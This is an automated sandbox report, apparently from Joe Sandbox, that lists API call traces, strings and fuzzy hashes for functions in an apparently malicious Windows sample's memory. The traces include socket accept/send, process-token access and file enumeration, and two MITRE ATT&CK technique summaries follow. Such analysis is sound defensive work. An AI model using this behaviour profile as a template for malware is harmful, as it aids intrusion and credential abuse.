Part of subcall function 00DB540D: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000,00002000,?,00DB10EF,00000000,?,00002000,?,00002000,?,?,?,00000000), ref: 00DB541F

_memset.LIBCMT ref: 00DB11A4
_memset.LIBCMT ref: 00DB11B3
_memset.LIBCMT ref: 00DB11CA

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$AllocateEnvironmentExpandHeapStrings_malloc
String ID:
API String ID: 2041733451-0
Opcode ID: 95961cdc8f093ef167c24480005794b1cc44fe3a49789948264e781419d38246
Instruction ID: 3ac6de6ed2f3d860b9145c573cdea4246f888749db8fda5a4c557c5a2eab1758
Opcode Fuzzy Hash: 95961cdc8f093ef167c24480005794b1cc44fe3a49789948264e781419d38246
Instruction Fuzzy Hash: B6112675600241FAD7106F388C91FFABF6EDF56390FA80168EA5A83242E6229D05C6B0

Function 00DB113A Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB114F

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00DEFFA0,?,00DB106E,00004008,?,?,?,?,00000003,?,70207369), ref: 00DC8876

_memset.LIBCMT ref: 00DB11A4
_memset.LIBCMT ref: 00DB11B3
_memset.LIBCMT ref: 00DB11CA

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$AllocateHeap_malloc
String ID:
API String ID: 1114209484-0
Opcode ID: c57505b9de2bc00d2110a47786fbdc5301356c1408913a7c7451129d276e4819
Instruction ID: 3ac6de6ed2f3d860b9145c573cdea4246f888749db8fda5a4c557c5a2eab1758
Opcode Fuzzy Hash: c57505b9de2bc00d2110a47786fbdc5301356c1408913a7c7451129d276e4819
Instruction Fuzzy Hash: B6112675600241FAD7106F388C91FFABF6EDF56390FA80168EA5A83242E6229D05C6B0

Function 00D7053A Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D7054F

Part of subcall function 00D87BFF: __FF_MSGBANNER.LIBCMT ref: 00D87C22
Part of subcall function 00D87BFF: __NMSG_WRITE.LIBCMT ref: 00D87C29

_memset.LIBCMT ref: 00D705A4
_memset.LIBCMT ref: 00D705B3
_memset.LIBCMT ref: 00D705CA

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$_malloc
String ID:
API String ID: 3506388080-0
Opcode ID: cf7bc87be9f6fe12c1cc26451aee5a38676cef1de39d46c13cf468d69783dccd
Instruction ID: a6c28b8898dbaeeb20d750ac69a0d34f0d4d408fd4008f659f1a678a69f3fcac
Opcode Fuzzy Hash: cf7bc87be9f6fe12c1cc26451aee5a38676cef1de39d46c13cf468d69783dccd
Instruction Fuzzy Hash: FC110871510141BAD7116B748C81BBA7F6EDF57364F1441A4E45D93193F322ED04CBB0

Function 00DBC8C3 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DBC925
_memset.LIBCMT ref: 00DBC939
_memset.LIBCMT ref: 00DBC94A
_memset.LIBCMT ref: 00DBC953

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: d2f26300ce7d12d3bdc87899327973ccff472c9e84fcad46b992c2f930c2c579
Instruction ID: 8112c20fcde99538b6344e81f40200f7bc05949d68abb5680c58ca3038561aa5
Opcode Fuzzy Hash: d2f26300ce7d12d3bdc87899327973ccff472c9e84fcad46b992c2f930c2c579
Instruction Fuzzy Hash: 49018271101205FADF106A75AC81EEF3E9DFF497A1F049026F90AC6213D6348940DBB1

Function 00D7BCC3 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D7BD25
_memset.LIBCMT ref: 00D7BD39
_memset.LIBCMT ref: 00D7BD4A
_memset.LIBCMT ref: 00D7BD53

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 372f1fdea8833eaf01995195b0d1b2ba8c5a0e4fe86fb03d21595e93ee87e65a
Instruction ID: ae9c122f0cd216a317ea04a2372717a69a1c305cf2afbdb832f75e5c0bd95fcf
Opcode Fuzzy Hash: 372f1fdea8833eaf01995195b0d1b2ba8c5a0e4fe86fb03d21595e93ee87e65a
Instruction Fuzzy Hash: DB016D71100224BADB217B718C85FAF3A9DEF4A3B1B14842AF91D9B112EB75C940CBB5

Function 00DBEF0C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

_clock.LIBCMT ref: 00DBEF28
_clock.LIBCMT ref: 00DBEF36
_clock.LIBCMT ref: 00DBEF40
_clock.LIBCMT ref: 00DBEF4E

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _clock
String ID:
API String ID: 876827150-0
Opcode ID: 908a800f1b4aee3d8470d56c238d3ac105f65cf764e8ae670c4fb01448cdafdd
Instruction ID: fee67c81e16e2a67d04de1a16ab26c2a2a7b20c9047216918f643cb34448ddbf
Opcode Fuzzy Hash: 908a800f1b4aee3d8470d56c238d3ac105f65cf764e8ae670c4fb01448cdafdd
Instruction Fuzzy Hash: 93014C31D00619EFCB21DFE8D8C15EDBBB4EF14380B2581AAE442A7281D7309E41DBB0

Function 00D7E30C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

_clock.LIBCMT ref: 00D7E328
_clock.LIBCMT ref: 00D7E336
_clock.LIBCMT ref: 00D7E340
_clock.LIBCMT ref: 00D7E34E

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _clock
String ID:
API String ID: 876827150-0
Opcode ID: 908a800f1b4aee3d8470d56c238d3ac105f65cf764e8ae670c4fb01448cdafdd
Instruction ID: 79e4380007ddd7984dba28ee8a5a7f87fe48280c849be567bcd41c4efdf13732
Opcode Fuzzy Hash: 908a800f1b4aee3d8470d56c238d3ac105f65cf764e8ae670c4fb01448cdafdd
Instruction Fuzzy Hash: 7D014C31D00719EFCF20DFE8D4C19ADBBB4EF15781B6481AAD445A7201E7309A81DBB0

Function 00DBDE47 Relevance: 6.0, APIs: 4, Instructions: 46sleepsynchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,00000000,00000000,00000080,00DB16C4), ref: 00DBDE84
ExitThread.KERNEL32 ref: 00DBDE8E
WaitForSingleObject.KERNEL32(00000000,00000000,00000080,00DB16C4), ref: 00DBDEAF
ExitProcess.KERNEL32 ref: 00DBDEBB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Exit$ObjectProcessSingleSleepThreadWait
String ID:
API String ID: 2040395460-0
Opcode ID: 49705c9bca7a7cd5cc1d1c08578310b2031c6ce9b114f29d7b6529a950cdc545
Instruction ID: 2876cd90a95047d5b4d81e68850d2c1ea23c43593e8fb4a50feef146659a4044
Opcode Fuzzy Hash: 49705c9bca7a7cd5cc1d1c08578310b2031c6ce9b114f29d7b6529a950cdc545
Instruction Fuzzy Hash: E0F0F6B6689314F6E9303BA5AC8AFDE3B09EB6073AF11011BF6679D1D1AF6188004035

Function 00DBE0A1 Relevance: 6.0, APIs: 4, Instructions: 42threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00DBE0AE
OpenThreadToken.ADVAPI32(00000000), ref: 00DBE0B5
GetCurrentProcess.KERNEL32(00000008,?), ref: 00DBE0C5
OpenProcessToken.ADVAPI32(00000000), ref: 00DBE0CC

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: b4c79614a3deed300639f034a198e084288aff15caf6bfb6a9d7d32a7efec50a
Instruction ID: cb06a8580e2a4d6ec8b52d162c86a3a6f6d4394309aab0afc9a3e39a94d5ca6d
Opcode Fuzzy Hash: b4c79614a3deed300639f034a198e084288aff15caf6bfb6a9d7d32a7efec50a
Instruction Fuzzy Hash: 06F0F931601304FBDB20BBA5ED0ABEE37A9EB44759F144056F542DA1A2EFB1D9049670

Function 00DBED4F Relevance: 6.0, APIs: 4, Instructions: 40networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,00000000,00000000), ref: 00DBED5D
send.WS2_32(00000000,?,?,00000000), ref: 00DBED8A
send.WS2_32(00000000,?,?,00000000), ref: 00DBED98
closesocket.WS2_32(00000000), ref: 00DBEDA3

Part of subcall function 00DBECDF: closesocket.WS2_32(?), ref: 00DBECE1

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: closesocketsend$accept
String ID:
API String ID: 2168303407-0
Opcode ID: 455cbe41ac762dc22f939011210d07897accc6f2b097a7136463c47ab3f6dbfc
Instruction ID: ace3d95b17439fe1c9465d942fee6c48d8c5def130668a67ebdea1ad7c15b748
Opcode Fuzzy Hash: 455cbe41ac762dc22f939011210d07897accc6f2b097a7136463c47ab3f6dbfc
Instruction Fuzzy Hash: F5F09636100710FBD6203BB5AC42FC6BB6CEF04730F204A06F6575759386B2A80057B4

Function 00DB91E2 Relevance: 6.0, APIs: 4, Instructions: 39memorythreadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32(00000000,00DB9286,00000000,00000000,?,?,?,?,?,00DB9286,00000000), ref: 00DB91FD
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00DB9286,00000000), ref: 00DB9203
HeapAlloc.KERNEL32(00000000,?,?,?,?,00DB9286,00000000), ref: 00DB920A
InitializeProcThreadAttributeList.KERNEL32(00000000,00DB9286,00000000,00000000,?,?,?,?,00DB9286,00000000), ref: 00DB921F

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: AttributeHeapInitializeListProcThread$AllocProcess
String ID:
API String ID: 1212816094-0
Opcode ID: 31c8ffa911c7164bb425678fd5a0b7f780109b61ba28a077453137a1e8d1b684
Instruction ID: 3798303c548fb0fe062a420031efde173769803fe0b5e921db0f502e91bd0cdd
Opcode Fuzzy Hash: 31c8ffa911c7164bb425678fd5a0b7f780109b61ba28a077453137a1e8d1b684
Instruction Fuzzy Hash: 12F05E7AA00248FB8B119BE6ED88CAF7FBCEAC9794754402AF602D2100D6319A00DB70

Function 00DB72B8 Relevance: 6.0, APIs: 4, Instructions: 35sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB72CA
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00DB72DE
Sleep.KERNEL32(000001F4), ref: 00DB72F2
GetTickCount.KERNEL32 ref: 00DB72F8

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: bf3ea15852e3480be8520d3577941f3a29e2e10d845fd484f627ca3dd7929a46
Instruction ID: 65852034d43131121edaa855b20f4af41bcda0276a161d00792d9ebe940bd7c3
Opcode Fuzzy Hash: bf3ea15852e3480be8520d3577941f3a29e2e10d845fd484f627ca3dd7929a46
Instruction Fuzzy Hash: 9DF0377190521DFFEB015F95DC848EFB7ADEB846A57254077F502D6110DA709D408A74

Function 00DD128A Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00DD1296

Part of subcall function 00DCD797: __getptd_noexit.LIBCMT ref: 00DCD79A
Part of subcall function 00DCD797: __amsg_exit.LIBCMT ref: 00DCD7A7

__getptd.LIBCMT ref: 00DD12AD
__amsg_exit.LIBCMT ref: 00DD12BB
__lock.LIBCMT ref: 00DD12CB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: bcbe2d9794e3fd23b0b87496da13d7eb541de55d45ec6cfab26493ae01bd346e
Instruction ID: dd1cd08ed4462633ca4bc5f61a4b3de3dbd7fb246bdb7eada7e224ec8dc09257
Opcode Fuzzy Hash: bcbe2d9794e3fd23b0b87496da13d7eb541de55d45ec6cfab26493ae01bd346e
Instruction Fuzzy Hash: D4F06D36900B42EADB20BBA4A947B587BA0EF00724F24065FE445DB3C6CB799901CB76

Function 00D9068A Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D90696

Part of subcall function 00D8CB97: __getptd_noexit.LIBCMT ref: 00D8CB9A
Part of subcall function 00D8CB97: __amsg_exit.LIBCMT ref: 00D8CBA7

__getptd.LIBCMT ref: 00D906AD
__amsg_exit.LIBCMT ref: 00D906BB
__lock.LIBCMT ref: 00D906CB

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 632a2da44d7129273f8f1a3f3d2bd9dc2f35d501a8d6ef1af36a422137bc2622
Instruction ID: 85b2232560458d491c0a6df5e673d419ec71bdaff209db3bd0f4d4b98c98e216
Opcode Fuzzy Hash: 632a2da44d7129273f8f1a3f3d2bd9dc2f35d501a8d6ef1af36a422137bc2622
Instruction Fuzzy Hash: 50F09032900B10DFEB21FB7498067987BE0EF81721F14450AE144AB2E2CB74A811DB72

Function 00DBCF6B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DBCFFE

Strings

l.dl, xrefs: 00DBCFC8
ntdl, xrefs: 00DBCFB7

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _memset
String ID: l.dl$ntdl
API String ID: 2102423945-1236859653
Opcode ID: 1fa81a2a2cbbb61675b1149e2676844100b29c6b66f61cbe1bcb22762e416b2a
Instruction ID: 430cc3c9954f3ad181ab635fb52b0b66cffa0f9e6f994539fedf8f72b4816bd2
Opcode Fuzzy Hash: 1fa81a2a2cbbb61675b1149e2676844100b29c6b66f61cbe1bcb22762e416b2a
Instruction Fuzzy Hash: 05515D75901205DFCB20DF58C480AADBBF2FF48314F2980A9E945AB355D731EE82CBA4

Function 00D7C36B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D7C3FE

Strings

l.dl, xrefs: 00D7C3C8
ntdl, xrefs: 00D7C3B7

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset
String ID: l.dl$ntdl
API String ID: 2102423945-1236859653
Opcode ID: fdb6297e7cbd8406269c93f82204456c1cf00d7e15b5db9edf4be9e089ab1587
Instruction ID: 8fb77e13c791038ed7e6dbb1a49629a8c1a2bab7a47815dec39f3a39f86f126b
Opcode Fuzzy Hash: fdb6297e7cbd8406269c93f82204456c1cf00d7e15b5db9edf4be9e089ab1587
Instruction Fuzzy Hash: 87512875910615DFCB20CF98C480AADB7F1FF48314B19C4AAD949AB325E730AE81CBA0

Function 00DBC072 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 00DBC086
__snprintf.LIBCMT ref: 00DBC0C0

Strings

%c%c%c%c, xrefs: 00DBC0B5

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf
String ID: %c%c%c%c
API String ID: 2633826957-103593547
Opcode ID: b6c9ebb6385709b0fae9e36a6cbab84592eb7472c13c8edab1dea5043827d99a
Instruction ID: f9859b66a8787ef9b034cf8b62d0239259500753bd6b344b7a7aa2519215fe81
Opcode Fuzzy Hash: b6c9ebb6385709b0fae9e36a6cbab84592eb7472c13c8edab1dea5043827d99a
Instruction Fuzzy Hash: 17F0C27590024AADCB01EBE4889AEFEBFBC8B04301F040181EA50E3042EA75D34D8BB1

Function 00DB504D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB5058

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

__snprintf.LIBCMT ref: 00DB506C

Part of subcall function 00DC9D8A: RemoveDirectoryA.KERNEL32(00DB5080,?,00DB5080,00000000), ref: 00DC9D92
Part of subcall function 00DC9D8A: GetLastError.KERNEL32(?,00DB5080,00000000), ref: 00DC9D9C
Part of subcall function 00DC9D8A: __dosmaperr.LIBCMT ref: 00DC9DAB

Strings

%s\%s, xrefs: 00DB5065

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AllocateDirectoryErrorHeapLastRemove__dosmaperr__snprintf_malloc
String ID: %s\%s
API String ID: 47932920-4073750446
Opcode ID: 7e76d8248e97c1afc42238983ab536253f04fe6e8a413937a81cad01264b9600
Instruction ID: 0c25efab407ed5614d6c8c8ac1dd93881ea32cde9e82314f9b2c6245276a9d71
Opcode Fuzzy Hash: 7e76d8248e97c1afc42238983ab536253f04fe6e8a413937a81cad01264b9600
Instruction Fuzzy Hash: EBE02032000106BAC6123555EC06FFFB75CCF82770F24006EF909220466E715D0155FB

Function 00DB982A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB9832
__snprintf.LIBCMT ref: 00DB985C

Strings

%s%s: %s, xrefs: 00DB9853

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf_memset
String ID: %s%s: %s
API String ID: 2657849664-533130479
Opcode ID: 28b40d27e69297c3f1e193374f74d5cbdb0b4ea37a854bf1121545a2ca90eb92
Instruction ID: 8419f2a4c50df5ea4ca3e398e93d2fb3919e74ba85fb1ae1c026c783eb63bba7
Opcode Fuzzy Hash: 28b40d27e69297c3f1e193374f74d5cbdb0b4ea37a854bf1121545a2ca90eb92
Instruction Fuzzy Hash: 7CF0A072104204EBCB019E90CCC1F8B7779EF89B10F100015FA416B156D631E915DB32

Function 00DBA6D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DBA6DC

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

__snprintf.LIBCMT ref: 00DBA6F0

Part of subcall function 00DBA70E: _malloc.LIBCMT ref: 00DBA71B
Part of subcall function 00DBA70E: __snprintf.LIBCMT ref: 00DBA72C
Part of subcall function 00DBA70E: FindFirstFileA.KERNEL32(00000000,00DB50C9,?,00DBA7FD,00DB50C9,?,Function_0000504D), ref: 00DBA739
Part of subcall function 00DBA70E: _malloc.LIBCMT ref: 00DBA778
Part of subcall function 00DBA70E: __snprintf.LIBCMT ref: 00DBA78D
Part of subcall function 00DBA70E: FindNextFileA.KERNEL32(000000FF,00DB50C9,?,?,?,?,?,?,?), ref: 00DBA7BA
Part of subcall function 00DBA70E: FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 00DBA7C7

Part of subcall function 00DC8722: __lock.LIBCMT ref: 00DC8740
Part of subcall function 00DC8722: ___sbh_find_block.LIBCMT ref: 00DC874B
Part of subcall function 00DC8722: ___sbh_free_block.LIBCMT ref: 00DC875A
Part of subcall function 00DC8722: HeapFree.KERNEL32(00000000,00000000,00DE35A0,0000000C,00DCD788,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C), ref: 00DC878A
Part of subcall function 00DC8722: GetLastError.KERNEL32(?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5,00000000,00000000,?,00DCD842,0000000D), ref: 00DC879B

Strings

%s\%s, xrefs: 00DBA6E9

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID: %s\%s
API String ID: 1254174322-4073750446
Opcode ID: 95564960c49ecd6d85fb663c31546af88b0a462c47f4c437eddf77543d966d84
Instruction ID: 9f4dac9b09864aa33ad8c562bb7c7fe0e8e67eb25d2859e78034905dafc05504
Opcode Fuzzy Hash: 95564960c49ecd6d85fb663c31546af88b0a462c47f4c437eddf77543d966d84
Instruction Fuzzy Hash: 68E08C3250001A778B123E569C42EFFBB2DEF866A0B000029FE08221519E36892167B6

Function 00DB993D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB9945
__snprintf.LIBCMT ref: 00DB996A

Strings

%s%s, xrefs: 00DB9961

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf_memset
String ID: %s%s
API String ID: 2657849664-3438391663
Opcode ID: f6eae6f126bdd21378e563c580daa8b7f8fb51e09ac65428d5c0df42ea5455cb
Instruction ID: 5ab638af0602c076745d5daeb7182cd23396bf8ca6e3cd3fc9694e848d2e89b3
Opcode Fuzzy Hash: f6eae6f126bdd21378e563c580daa8b7f8fb51e09ac65428d5c0df42ea5455cb
Instruction Fuzzy Hash: 7BE01276104344BBC711AE61DCC6F9FB7BCEF8AB00F404629B6459A156EA31D914DB32

Function 004022C0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 004022CE
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 004022F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 004022FC
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 0040231C

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 3e49c145e7cda86df6080b1c3b5656d3cc1d329760b6f4bb8e53dbee9a39bf48
Instruction ID: db0b3c927cb9be537e2116d15c0f7f13df8c87252735a744e9a29fbe81bf0797
Opcode Fuzzy Hash: 3e49c145e7cda86df6080b1c3b5656d3cc1d329760b6f4bb8e53dbee9a39bf48
Instruction Fuzzy Hash: BAF0A4756007108BC7107FB8D9C861B7BA4AA48345B0505B9DE845735AE778EC08CBAA

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

